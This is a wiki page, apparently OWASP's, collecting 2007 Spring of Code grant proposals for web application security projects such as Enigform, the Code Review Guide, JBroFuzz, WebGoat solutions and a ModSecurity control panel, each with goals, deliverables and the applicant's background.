* Specific activities and who will carry out these activities&lt;br /&gt;
&lt;br /&gt;
* Specific deliverables and a rough project schedule so we can track progress&lt;br /&gt;
&lt;br /&gt;
* Long-term vision for the project&lt;br /&gt;
&lt;br /&gt;
* Any other reasons why you and your project should be selected&lt;br /&gt;
&lt;br /&gt;
== Buanzo - Enigform: Firefox Addon for OpenPGP signing of HTTP requests ==&lt;br /&gt;
&lt;br /&gt;
I am a 25 year old Independent security consultant from Buenos Aires, Argentina, that has contributed to the world of&lt;br /&gt;
information systems security since 1994, when BBSes and Linux still lived together.&lt;br /&gt;
&lt;br /&gt;
A quick search for buanzo on google [http://www.google.com/search?hl=en&amp;amp;q=buanzo&amp;amp;btnG=Google+Search] will provide all necessary details about my professional and community background. For comprobable experience, you could also check my Rent a Coder profile.[http://www.rentacoder.com/RentACoder/SoftwareCoders/showBioInfo.asp?lngAuthorId=735204].&lt;br /&gt;
&lt;br /&gt;
In my free time I like playing with my Punk-Pop band [http://www.purevolume.com/futurabandapunkpop], Futurabanda. [http://www.futurabanda.com.ar], and maintaining my Restaurants, Wines and Recipes site. [http://www.vivamoslavida.com.ar]. I have to admit that my first priorities are my beloved son [http://www.fotolog.com/buanzo] and my wonderful wife [http://www.fotolog.com/buanzo].&lt;br /&gt;
&lt;br /&gt;
=== Accomplishments ===&lt;br /&gt;
&lt;br /&gt;
I've contributed scripts, fixes and translations to the Nmap project. I've also acted as Expert Contributor for SANS TOP-20 2004, 2005 and 2006. I've developed &lt;br /&gt;
tools that can be found in Freshmeat, like mprl (a getty enhancement to allow remote logins from the login: prompt of the console). I've also written&lt;br /&gt;
the Unix chapter of the OISSG's Information Systems Security Assessment Framework, v0.1 [http://www.oissg.org/content/view/71/71/]. I'm currently writing&lt;br /&gt;
an Internet Draft to be proposed for RFC regarding Enigform.&lt;br /&gt;
&lt;br /&gt;
=== Community ===&lt;br /&gt;
&lt;br /&gt;
I run the official 2600 meetings site for Argentina [http://www.2600.com/meetings/pages.html], I've been proposed, but I refused, for President of the Argentinian Free Software group called SOLAR [www.solar.org.ar]. I'm an active member of the FLOSS community since 1996, having written articles in magazines http://www.net-security.org/dl/articles/Detecting_and_Understanding_rootkits.txt, made TV, radio&lt;br /&gt;
and newspaper appearances [http://codigoabierto.bitacoras.com/archivos/2005/04/01/buanzo-hacks] and led different security research groups of Spain, Mexico and Argentina. Currently I contribute time thorugh my sites, forums and blogs,&lt;br /&gt;
answering questions in mailing lists and helping coordinate some local LUGs. I do also manager the Linux Counter for Argentina [http://counter.li.org/reports/place.php?place=AR].&lt;br /&gt;
&lt;br /&gt;
=== My Project ===&lt;br /&gt;
&lt;br /&gt;
Enigform [http://enigform.mozdev.org] is a Firefox extension that enhances HTTP with OpenPGP functionality. It digitally signs outgoing HTTP requests so that a web server can authenticate the identity and data of the incoming request. It is a Web Security tool because it can, if correctly implemented as any OpenPGP based technology, render man in the middle attacks useless. I think OpenPGP already speaks for itself regarding eMail. Imagine the same benefits for http and web applications. I think Enigform can fit into the OWASP Validation Project [http://www.owasp.org/index.php/Category:OWASP_Validation_Project].&lt;br /&gt;
&lt;br /&gt;
Enigform is the reference implementation of the Internet Draft I'm working on, in discussion with members of the IETF's OpenPGP Working Group.&lt;br /&gt;
&lt;br /&gt;
Some simple PHP code is enough to make a web application Enigform-aware [http://enigformtest.buanzo.com.ar]. The Smutty PHP MVC Framework already supports Enigform [http://smutty.pu-gh.com/demo/enigform].&lt;br /&gt;
&lt;br /&gt;
=== Long Term ===&lt;br /&gt;
&lt;br /&gt;
Have the Draft be proposed as a Standards Track RFC document, have Enigform support directly in Apache and IIS, and port Enigform to other browsers&lt;br /&gt;
and/or programming languages, and also provide OpenPGP De/Encryption support.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Why should I be selected ===&lt;br /&gt;
&lt;br /&gt;
I have the experience, security awareness and means to make this project THE web security project of the decade. I am a respected member of the&lt;br /&gt;
international security community, and I firmly believe Enigform is my greatest idea so far.&lt;br /&gt;
&lt;br /&gt;
== Eoin Keary - Code review Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I am proposing that I complete the OWASP Code review guide during this period.&lt;br /&gt;
The code review guide was started by me in 2005 and has much information on reviewing code for common vulnerabilities. It is frequently accessed (looking at the stats on the OWASP site) and therefore is useful to practitioners. &lt;br /&gt;
&lt;br /&gt;
I believe the code review guide is an integral part of the OWASP BOK (Body of Knowledge). Ensuring secure development is key to secure applications and code review is of paramount importance in this domain.&lt;br /&gt;
&lt;br /&gt;
There are many sections still to be added and more to be readjusted and rewritten to reflect the current state of the security world.&lt;br /&gt;
Much needs to be written on Web 2.0 technologies and distributed B2B technologies such as Webservices.&lt;br /&gt;
 &lt;br /&gt;
The Code review process and procedure needs also to be covered. A guide to establishing a mature code review process also needs to be done.&lt;br /&gt;
Code review methodologies also need to be discussed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
&lt;br /&gt;
Update of the code review guide:&lt;br /&gt;
* Add additional areas relating to the code review process such as:&lt;br /&gt;
** Benefits and pitfalls&lt;br /&gt;
** Methodology&lt;br /&gt;
** The code review process&lt;br /&gt;
*** Transactional analysis&lt;br /&gt;
*** Managing the code review process&lt;br /&gt;
*** Assigning risk to findings&lt;br /&gt;
&lt;br /&gt;
** Technical guides&lt;br /&gt;
*** Language specific best practice &lt;br /&gt;
*** Java &lt;br /&gt;
*** .NET &lt;br /&gt;
*** PHP &lt;br /&gt;
*** MySQL &lt;br /&gt;
*** Stored Procs &lt;br /&gt;
*** C/C++ &lt;br /&gt;
&lt;br /&gt;
** Code review by vulnerability:&lt;br /&gt;
*** Reviewing Code for Buffer Overruns and Overflows &lt;br /&gt;
*** Reviewing Code for OS Injection&lt;br /&gt;
*** Reviewing Code for SQL Injection&lt;br /&gt;
*** Reviewing Code for Data Validation&lt;br /&gt;
*** Reviewing code for XSS issues&lt;br /&gt;
*** Reviewing Code for Error Handling&lt;br /&gt;
*** Reviewing Code for Logging Issues&lt;br /&gt;
*** Reviewing The Secure Code Environment&lt;br /&gt;
*** Reviewing code for Authorization Issues&lt;br /&gt;
*** Reviewing code for Authentication Issues&lt;br /&gt;
*** Reviewing code for Session Integrity&lt;br /&gt;
*** Reviewing code for Cross Site Request Forgery&lt;br /&gt;
*** Reviewing code for Cryptography implementation issues&lt;br /&gt;
*** Reviewing code Dangerous HTTP Methods (Deployment)&lt;br /&gt;
*** Race Conditions &lt;br /&gt;
&lt;br /&gt;
The areas of code are structured giving a brief explanation, the anti-pattern (vulnerable pattern to look for) and a suggested fix.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
&lt;br /&gt;
I used to head up the code review team as part of the application security group in fidelity investments and have 5+ years of the secure code review process. &lt;br /&gt;
I also was the lead of the Testing guide until V2 was published via the Autumn of Code. &lt;br /&gt;
&lt;br /&gt;
I have always  delivered any work I have volunteered for on time. &lt;br /&gt;
 &lt;br /&gt;
I have been involved in OWASP projects for 2/3 years now and have always been an active contributor.&lt;br /&gt;
&lt;br /&gt;
== Paolo Perego - Owasp Orizon Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
Owasp Orizon [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project] Project born in 2006 as answer to the lack of common engine and library usable by opensource code review related tools.&lt;br /&gt;
&lt;br /&gt;
I'm proposing that, during the Spring of Code 2007 period, I'll complete static analisys API and java source code enforment objects.&lt;br /&gt;
&lt;br /&gt;
Sometimes a complete code review approach is not suitable for most customers who wants to harden their code which is being approaching release stage. For such a reason, I started writing Java objects that embeds most of the security checks against common web vulnerabilities (XSS, SQL injection, Session handling, ...) so that source code can be hardened with a small effort in terms of code rewriting.&lt;br /&gt;
&lt;br /&gt;
I do believe that a common set of API and a common safe coding best practices library is one of the most important goals to bring application security to the developers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
Completing the static code review API section&lt;br /&gt;
* improving programming language to XML translator&lt;br /&gt;
* improving security best practices code review scan library&lt;br /&gt;
* improving secure coding fashion best practices library&lt;br /&gt;
* writing the pattern matching scan using the aformentioned libraries&lt;br /&gt;
Writing the java source code enforment objects&lt;br /&gt;
* writing an object to handle form data values to avoid XSS&lt;br /&gt;
* writing an object to handle form data values to avoid SQL Injection&lt;br /&gt;
* writing an object to handle HttpRequest and HttpSession objects&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
Owasp Orizon is the first Owasp project I'm involved in. I'm also contributor of Owasp Italian chapter managed by Matteo Meucci and I'm talking at various speeches about application security and safe coding best practices.&lt;br /&gt;
&lt;br /&gt;
I'm a security consultant working in ethical hacking and we're approaching code review and safe topics right now.&lt;br /&gt;
I'm a developer too so I understand also the &amp;quot;dark side&amp;quot; of the problem developing code with security in mind.&lt;br /&gt;
&lt;br /&gt;
I work using the &amp;quot;release early release often&amp;quot; paradigm so to be concrete and let other people having something usable to work with.&lt;br /&gt;
&lt;br /&gt;
== Sebastien Deleersnyder - OWASP Education Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
This Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences. &lt;br /&gt;
&lt;br /&gt;
Web Application Security Education and Awareness is needed throughout the entire organization, each area and level of organizations have specific needs and requirements regarding education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience. &lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
Currently the project goals are to create Educational Tracks: &lt;br /&gt;
* Complete the [[OWASP Education Presentation|consolidation page of OWASP presentations]] performed in the past&lt;br /&gt;
* A &amp;quot;Web Application Security Primer&amp;quot; Track for beginners (4 hours) &lt;br /&gt;
* A &amp;quot;What developers should know on Web Application Security&amp;quot; Track for developers (4 hours) &lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''': &lt;br /&gt;
I started the successful Belgian Chapter 3 years ago and have actively contributed to OWASP since then. I also co-organized the European conference last year in Belgium.&lt;br /&gt;
&lt;br /&gt;
This is the first separate project that I started, originating from a local demand to set up educational tracks for people that are new to Web Application Security. There are literally hundreds of presentations and an enormous amount of information on the OWASP web site. The goal of this project is to restructure pieces of that information in reusable modules that can be combined in educational tracks. It is my believe that awareness is an important cornerstone of building secure web applications, and this project will actively support that.&lt;br /&gt;
&lt;br /&gt;
If we are granted Spoc 007 participation, I will be sharing the budget with all active participants. This will be an extra motivation for project participation. I will reinvest my part in the project to set up a web conferencing / web casting solution to be used to disseminate the project results and make them available for later use.&lt;br /&gt;
&lt;br /&gt;
* '''More details''': &lt;br /&gt;
The detailed [[OWASP Education Project Roadmap|road map]] can be found here.&lt;br /&gt;
The SpoC 007 goal is to finish Sub Goals 1, 2, 3 and 4. If time permits we can start with sub goal 5.&lt;br /&gt;
&lt;br /&gt;
== Subere - OWASP JBroFuzz Project ==&lt;br /&gt;
&lt;br /&gt;
==== Overview ==== &lt;br /&gt;
&lt;br /&gt;
JBroFuzz is a stateless network protocol fuzzer that emerged from the needs of penetration testing. The purpose of this application is to provide a single, portable application that offers stable cross-platform network protocol fuzzing capabilities. At the same time, JBroFuzz attempts to keep the User Interface (UI) as intuitive as possible.&lt;br /&gt;
&lt;br /&gt;
==== Fuzzing ==== &lt;br /&gt;
&lt;br /&gt;
As seen by the emphasis given on the subject of fuzzing in the 2007 Testing Guide (v2), network protocol fuzzing serves as a fundamental cornerstone of application security testing. For this, many different categories and types of fuzzing have been defined.&lt;br /&gt;
&lt;br /&gt;
==== Objectives ==== &lt;br /&gt;
&lt;br /&gt;
JBroFuzz needs to expand and grow in order to cover network fuzzing in a more complete manner. Its modular implementation allows for the addtion of new functionality by means of independent tabs. The key tabs proposed to be added during the spring of code 2007 are (details in next section):&lt;br /&gt;
&lt;br /&gt;
* '''Open Source Tab'''&lt;br /&gt;
* '''NTLM Brute Force over HTTP/S Tab'''&lt;br /&gt;
* '''Pure HTTP/S Fuzzing using HTTPClient'''&lt;br /&gt;
* '''Blind SQL Injection Fuzzing Tab'''&lt;br /&gt;
&lt;br /&gt;
At the same time, the following existing tabs need to be updated and made more robust (details in next section):&lt;br /&gt;
&lt;br /&gt;
* '''TCP Fuzzing tab allowing graph outputs'''&lt;br /&gt;
* '''TCP Sniffing tab update thread Agent Queue'''&lt;br /&gt;
* '''Update Generators file format'''&lt;br /&gt;
* '''Include SOAP and XML fuzzing'''&lt;br /&gt;
&lt;br /&gt;
This expansion process relates to stabilising code that is presently included in JBroFuzz, thus allowing it to run for extensive periods of time (24h+) as well as adding more functionality in terms of the three new tabs.&lt;br /&gt;
&lt;br /&gt;
==== Deliverables ==== &lt;br /&gt;
&lt;br /&gt;
Based on the above, the new code elements that will be added are as follows:&lt;br /&gt;
&lt;br /&gt;
* '''Open Source Tab:''' ''Provide the ability to enumerate e-mails from newsgroups without breaching google automated search rules''&lt;br /&gt;
* '''NTLM Brute Force over HTTP/S Tab:''' ''Provide the ability to enumerate NTLM as well as brute over HTTP/S NTLM.''&lt;br /&gt;
* '''Pure HTTP/S Fuzzing:''' ''Implement a fuzzing tab utilising HTTPClient from Jakarta that will also allow for multi-threading''&lt;br /&gt;
* '''Blind SQL Fuzzing Tab''' ''Implement a tab that extracts information from a blind SQL injection point identified on web server over HTTP/HTTPS.''&lt;br /&gt;
&lt;br /&gt;
For updating existing code elements that require a partial rewrite, the following areas of focus are presented in detail: &lt;br /&gt;
&lt;br /&gt;
* '''TCP Fuzzing tab allowing graph outputs:''' ''Provide the ability to graph fuzzing results during a particular session run. This will give the ability to integrate and pickup potential fuzzing patterns.''&lt;br /&gt;
* '''TCP Sniffing tab update thread Agent Queue:''' ''Update the code of the sniffing panel in order to handle threaded agents in a more memory efficient way.''&lt;br /&gt;
* '''Update Generators file format:''' ''Update the generators file format to allow for the parsing and creation of recursive generators.''&lt;br /&gt;
* '''Include SOAP and XML fuzzing:''' ''Include an up to date list of SOAP and XML fuzzing templates.''&lt;br /&gt;
&lt;br /&gt;
Overall, the above two lists of changes should provide sufficient complexity and output for the spring of code 2007, forming a challenging implementation project.&lt;br /&gt;
&lt;br /&gt;
==== Background ==== &lt;br /&gt;
&lt;br /&gt;
In its short life, the OWASP JBroFuzz Project has attracted the interest of the online security community with a total of appr. 5000 downloads in the last months. &lt;br /&gt;
&lt;br /&gt;
Coming from a strong java background (5+ years) I decided to implement and release JBroFuzz in order to initially simplify penetrations testing processes that relate to web application and network protocol fuzzing.&lt;br /&gt;
&lt;br /&gt;
I see the spring of code 2007 as a unique opportunity to industrialise network protocol fuzzing (and in particular HTTP/S fuzzing) within a single application, residing within OWASP.&lt;br /&gt;
&lt;br /&gt;
==== Why should JBroFuzz be sponsored? ==== &lt;br /&gt;
&lt;br /&gt;
Centralising fuzzing resources into one application that has the ability to handle network protocol fuzzing over HTTP and HTTPS in a simple and intuitive manner forms an area of focus that should not be dismissed in building secure software applications.&lt;br /&gt;
&lt;br /&gt;
Keep the code platform independent adds a huge advantage. &lt;br /&gt;
&lt;br /&gt;
Receving an OWASP grant from the spring of code 2007 will trigger a share in the budget with all active participants depending on their level of involvement. This will be a direct function of the number of tabs and/or user functionality that they have assisted in implementing.&lt;br /&gt;
&lt;br /&gt;
== Joshua Perrymon - OWASP LiveCD Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I am proposing that I complete the second version of the OWASP LiveCD during this period.&lt;br /&gt;
The first version of the LiveCD is now available and include many of the current OWASP documents and tools. I believe the LiveCD is one of the best mediums to promote OWASP tools and documentation. It is portable and already being used by thousands of security proffesionals to perform application testing and training. &lt;br /&gt;
&lt;br /&gt;
In the current state the CD is stable and contains a lot of tools. However, this is just the beginning. There is a LOT of work that needs to be completed. The entire CD experience needs to be branded using OWASP graphics. This shouls start with the boot screen and carry all the way through to the icons and desktop graphics. The CD should also inlcude the wiki and ALL the tools developed for OWASP.&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
&lt;br /&gt;
Update of the LiveCD:&lt;br /&gt;
* Complete OWASP branding&lt;br /&gt;
* Add OWASP wiki&lt;br /&gt;
* Add encryption capabilities&lt;br /&gt;
* Add more OWASP tools&lt;br /&gt;
* Add more pen-test tools such as;&lt;br /&gt;
 VOIP, RFID, BlueTooth, Wireless, etc..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
&lt;br /&gt;
I had the idea of the LiveCD about a year ago and have worked very hard to get the first version developed. This was driven by my vision to make all of the OWASP tools available on a portable medium. The main difference in the OWASP liveCD vs. other live CDs is going to be the regularity of updates. If sponsorship can be obtained the CD could be updated on a monthly basis. Not once a year like other liveCDs. The CD will also include specialty tools and documentation to perform VOIP, RFID,Bluetooth, and wireless security assessments.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mark Curphey – The OWASP Web Security Certification Framework ==&lt;br /&gt;
&lt;br /&gt;
'''Problem'''&lt;br /&gt;
 &lt;br /&gt;
PCI DSS is attracting a lot of criticism for a lot of valid reasons. &lt;br /&gt;
 &lt;br /&gt;
http://securitybuddha.com/2007/03/23/the-problems-with-the-pci-data-security-standard-part-1/&lt;br /&gt;
&lt;br /&gt;
http://blogs.csoonline.com/node/210&lt;br /&gt;
&lt;br /&gt;
http://www.computerweekly.com/blogs/stuart_king/2007/03/more-on-pci---the-audit-guide.html&lt;br /&gt;
&lt;br /&gt;
The list is of course long and not appropriate here……and while its easy to knock PCI, there is nothing better out there. &lt;br /&gt;
&lt;br /&gt;
'''Solution and Deliverables'''&lt;br /&gt;
&lt;br /&gt;
As opposed to me continuing saying what’s wrong with PCI DSS, it seems to me that OWASP is a perfect forum to simply create and publish a “better criteria”. This can either be adopted and implemented by an organization like OWASP or considered to be incorporated into the PCI or other security standards. We won't get bogged down in the politics up-front, but hold something good up to the world for people to adopt. This project would of course draw on and bring together many of the other OWASP Projects including the Guide (What is a secure web app), Testing Guides (How to test for a secure web app), WebGoat (part of how to certify an individual understands and can find web app issues) etc. Many of those projects may not be complete or a perfect fit today, but this project can bring a common connecting theme to a lot of very valuable IP that OWASP has built over the years. I will also create it in such as way that a corporate could adopt/adapt it themseles as well as an industry. Where other OWASP projects are not complete or currently suitable I will build a requirements doc that can be considered by those teams if they feel appropriate. &lt;br /&gt;
&lt;br /&gt;
This project would address the;&lt;br /&gt;
&lt;br /&gt;
'''Standard''' &lt;br /&gt;
*A complete auditable (important) web site security standard suitable for modern e-commerce companies including&lt;br /&gt;
**The technical things people should care about&lt;br /&gt;
**The operational  / management things people should care about&lt;br /&gt;
'''Certification Model''' &lt;br /&gt;
*A complete framework for certification (ongoing) and implementation (including certifying auditors, ongoing validation etc). This will include for example the model for certifying auditors (including the actual test program); checklists and forms for auditors to complete and other supporting material. &lt;br /&gt;
&lt;br /&gt;
Essentially its a complete blueprint for an organisation like OWASP or a regulatory body need to run a web site security certification program complete with the supporting material to implement it.&lt;br /&gt;
&lt;br /&gt;
Note:  This is no trivial task to get right. I would need to ensure I can commit to completing the work to a good quality. I think this will take at least 2 months from start to finish to complete but I think is very important for the industry and for potentially for OWASP.  I wanted to gauge the interest by first posting this.&lt;br /&gt;
&lt;br /&gt;
== Erwin Geirnaert - OWASP Java Project ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I would like to help the OWASP Java Project to gather all Java security related information and to document any domains that lack documentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
The main objective I see is to gather all information in one place, where security experts and developers can find the information they need.&lt;br /&gt;
In order to get there, I need to collect all information in the OWASP Wiki, ask people if they want to donate it to OWASP so that we can include it as public material, add URLs, white-papers, references to books, ... And if time permits, write some documentation myself.&lt;br /&gt;
&lt;br /&gt;
One deliverable is the OWASP Top 10 for J2EE applications with clear examples of vulnerabilities and mitigations.&lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''':&lt;br /&gt;
I have more then 10 years experience in Java and J2EE and the last 6 years I have tested and broke a lot of web applications. I gave also some very successful J2EE security courses and web security courses. I spoke at different conferences about application security in Europe.&lt;br /&gt;
And I am responsible for the security track at Javapolis, one of the biggest Jave conferences in Europe.&lt;br /&gt;
I am the co-founder of ZION SECURITY where we do security testing, code review, design reviews, training,...&lt;br /&gt;
I'm also member of the OWASP Belgium board that started in March 2007.&lt;br /&gt;
&lt;br /&gt;
== Erwin Geirnaert - OWASP WebGoat Solutions Guide ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
WebGoat is used by a lot of people to learn about web application security and the different vulnerabilities. But it takes a lot of time to grasp how the tools like WebScarab work and how to use them effectively in WebGoat. I propose to create a walkthrough of the lessons in WebGoat so that people can learn from the solutions, without spoiling the fun.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
The WebGoat Solutions Guide is a document that can be bundled with WebGoat. Each lesson contains a detailed solution with screenshots and tools. I created a PDF with the solution for WebGoat 4.0 but this is too big to load (15 MB) and is not very practical.&lt;br /&gt;
&lt;br /&gt;
After a discussion with Bruce about this, we think that the solutions should be made like the existing Lessons Plan so it is easier to maintain and update when a lesson changes. This means that there will be documentation folder and an individual solution for each lesson. &lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''':&lt;br /&gt;
I have more then 10 years experience in Java and J2EE and the last 6 years I have tested and broke a lot of web applications. I gave also some very successful J2EE security courses and web security courses. I spoke at different conferences about application security in Europe.&lt;br /&gt;
And I am responsible for the security track at Javapolis, one of the biggest Jave conferences in Europe.&lt;br /&gt;
I am the co-founder of ZION SECURITY where we do security testing, code review, design reviews, training,...&lt;br /&gt;
I'm also member of the OWASP Belgium board that started in March 2007.&lt;br /&gt;
&lt;br /&gt;
== Bunyamin Demir – OWASP WeBekci Project ==&lt;br /&gt;
&lt;br /&gt;
==== Executive Summary: ====&lt;br /&gt;
&lt;br /&gt;
Web application firewalls (WAF) are gaining importance among the information security technologies designed to protect web sites from attack. WAF solutions prevent attacks that network firewalls and intrusion detection systems can't and they require no modification of application source code. ModSecurity [http://www.modsecurity.org/] is an open source web application firewall that runs as an Apache module. It is an embeddable web application firewall and it provides protection from a range of attacks against web applications. It is an open source project available to everyone; it however does not come with an admin panel. &lt;br /&gt;
&lt;br /&gt;
I decided to provide this essential tool with a control panel which I believe will ease and thus encourage its usage.&lt;br /&gt;
&lt;br /&gt;
ModSecurity allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. My main goal is to analyze attacks and generate rules to change the configuration of the ModSecurity accordingly.&lt;br /&gt;
&lt;br /&gt;
ModSecurity  has a feature called “flexible rule engine” as its heart of Attack Prevention capability . It uses ModSecurity’s “Rule Language,” (a programming language designed to work with HTTP transaction data). It is easy to use and flexible; yet the system administrators need to learn its own rules to create what is called “Certified ModSecurity Rules” to be implemented. My control panel will automate the major code-generation in Rule Language. &lt;br /&gt;
&lt;br /&gt;
==== Objectives and Deliverables: ====&lt;br /&gt;
&lt;br /&gt;
* '''Configuration''' : Will add all configuration parameter&lt;br /&gt;
* '''Rule Generator''': Will write all the Rules in Rule Language&lt;br /&gt;
* '''Logging'''       : Auditlog and debuglog will be added.&lt;br /&gt;
* '''Multiple-DB'''   : Will add PostgreSql and Sqlite support.&lt;br /&gt;
&lt;br /&gt;
==== Why I should be sponsored for the project: ====&lt;br /&gt;
&lt;br /&gt;
I am  involved with OWASP Turkey [http://www.owasp.org/index.php/Turkey] and interested very much in WAF. Even though this is my first project for OWASP, I am very much interested in every aspect of ModSecurity. With SpoC007’s support I will finalize my work on OWASP WeBekci [http://www.owasp.org/index.php/Category:OWASP_WeBekci_Project].&lt;br /&gt;
&lt;br /&gt;
== Eric Sheridan and Dr. Goran Trajkovski - The Scholastic Application Security Assessment Project ==&lt;br /&gt;
&lt;br /&gt;
=== ABSTRACT ===&lt;br /&gt;
&lt;br /&gt;
One of the major goals of the Open Web Application Security Project is to educate developers in the field of application software security. Understanding the risks and threats associated with web application software is pivotal in building a mature application security process. While OWASP has made a significant impact in the professional industry, more time and energy should be focused towards the academic community. It is an unfortunate fact that most universities do not require a stringent software security course for their computer science students. Consequently, most young developers do not have the ability to assess and mitigate the risks and threats for their own applications. It is for this reason that we believe the Open Web Application Security Project should fund an initiative to encourage the adaptation of application software security methodologies in the academic course curriculum.&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Project is intended to be the first step towards integrating security requirements in academic course curriculums. The primary goal of the project is to give students hands-on experience performing application security assessments using the tools and documentation found at http:///www.owasp.org. The assessment, lead by an application security professional, will demonstrate to students how the information and tools found at OWASP can be used to assess and ultimately increase the overall security posture of a web application. &lt;br /&gt;
&lt;br /&gt;
This project contributes towards bridging the gap between academia and industry, by equipping students with hands-on ready-for-the-job-market skills in the application software securing industry.&lt;br /&gt;
&lt;br /&gt;
=== PARTICIPANTS ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project requires that college level students, lead by an application security professional, perform a security audit on an open source web application using the tools and information available at OWASP.&lt;br /&gt;
&lt;br /&gt;
::*'''Application Security Professional''' – Eric Sheridan ([http://www.aspectsecurity.com Aspect Security])&lt;br /&gt;
::*'''Towson University (TU) Partner''' – Dr. Goran Trajkovski, Towson University (http://www.towson.edu)&lt;br /&gt;
::*'''Students''' – Students of TU’s Application Software Security Course (COSC 458), nominated by the TU Partner&lt;br /&gt;
::*'''Web Application''' – The Open WebMail Project (http://openwebmail.org/)&lt;br /&gt;
&lt;br /&gt;
=== OWASP UTILIZATION ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project requires heavy utilization of existing OWASP tools and utilities. Through this requirement, the project will illustrate the fact that existing OWASP resources can be used and heavily relied upon in a professional security audit. The following is a list of notable OWASP resources whose use will be documented throughout the assessment:&lt;br /&gt;
&lt;br /&gt;
::*'''OWASP Top Ten 2007''' - The security critical areas that the students will assess in the review&lt;br /&gt;
::*'''OWASP Testing Guide v2''' – The primary resource for building penetration testing cases&lt;br /&gt;
::*'''OWASP Guide''' – The primary resource for technical details pertaining to a technology and/or vulnerability&lt;br /&gt;
::*'''OWASP WebScarabNG''' – The primary proxy utility used throughout the assessment&lt;br /&gt;
&lt;br /&gt;
=== THE FINAL REPORT ===&lt;br /&gt;
&lt;br /&gt;
Students are required to follow the principle of “responsible disclosure” during the course of the security assessment. The developers of the open source application will be notified if any significant issues are found. Once the assessment is complete, a final report will be delivered to the application developers and the appropriate OWASP Spring of Code personnel. For each finding in the report, the students will be required to describe how the tools and information found at OWASP were used in the discovery.&lt;br /&gt;
&lt;br /&gt;
=== HOW DOES OWASP BENEFIT? ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project is specifically designed to benefit the OWASP brand:&lt;br /&gt;
&lt;br /&gt;
''The OWASP Community…''&lt;br /&gt;
::*will be provided a case study proving that the resources available at OWASP can be utilized in an academic  environment, that can be later used in advertising the OWASP efforts to similar programs as the one at TU.&lt;br /&gt;
::*will be providing students a hands on experience in learning and testing for the latest web application security threats, thus potentially enlarging the OWASP community of contributors and supporters.&lt;br /&gt;
::*will be addressing the need to educate developers in the security critical areas.&lt;br /&gt;
::*will be seen as offering a professional level service to another open source project.&lt;br /&gt;
::*will be addressing one of the root causes of application software insecurity.&lt;br /&gt;
&lt;br /&gt;
=== BACKGROUND ===&lt;br /&gt;
&lt;br /&gt;
'''Eric Sheridan:'''&lt;br /&gt;
&lt;br /&gt;
::*Earned a Bachelor’s of Science in Computer Science from Towson University&lt;br /&gt;
::*Graduate Student in Information Security at Johns Hopkins University&lt;br /&gt;
::*Application Security Engineer at Aspect Security&lt;br /&gt;
::*Lead of the OWASP Stinger Project and the OWASP Validation Project&lt;br /&gt;
&lt;br /&gt;
'''Goran Trajkovski, PhD:'''&lt;br /&gt;
&lt;br /&gt;
::*Has been teaching the Application Software Security course for the Computer Security undergraduate and master-level majors at TU since 2004 (TU has been a Center of Excellence in Information Assurance, designated by the NSA since 2002).&lt;br /&gt;
::*Assistant professor of Computer and Information Sciences at Towson University, and Director of its Cognitive Agency and Robotics Lab (CARoL).&lt;br /&gt;
::*Has lead curricular efforts in integrating application software security topics throughout the Computer Science and Computer Information Sciences curriculum&lt;br /&gt;
::*12 years of full time teaching experience in higher ed.&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Site Generator==&lt;br /&gt;
OWASP Site Generator is a great tool, but it could be even better and more widespread. There’s a lot room for improvements to both its functionality and user experience. The way I see it, main user needs to be addressed and specific development objectives for the next release of OWASP Site Generator would be:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*Create multiple types of sites easily&lt;br /&gt;
*Track and analyze requests easily&lt;br /&gt;
*Change the look and feel of the resulting sites easily&lt;br /&gt;
*Create sites for multiple web backend technologies easily&lt;br /&gt;
*Learn how to use OWASP Site Generator easily&lt;br /&gt;
&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Create a vulnerability library that can be used for web services, HTML forms, AJAX, etc. instead of having to craft the same attack for each&lt;br /&gt;
*Add support for logging of all received requests, as well as querying resulting log files&lt;br /&gt;
*&amp;amp;quot;Templatize&amp;amp;quot; the code generation process, so it can support skinning of the resulting sites&lt;br /&gt;
*&amp;amp;quot;Templatize&amp;amp;quot; the code generation process, so it can support different backend web technologies&lt;br /&gt;
*Fix all significant defects in the current release of OWASP Site Generator&lt;br /&gt;
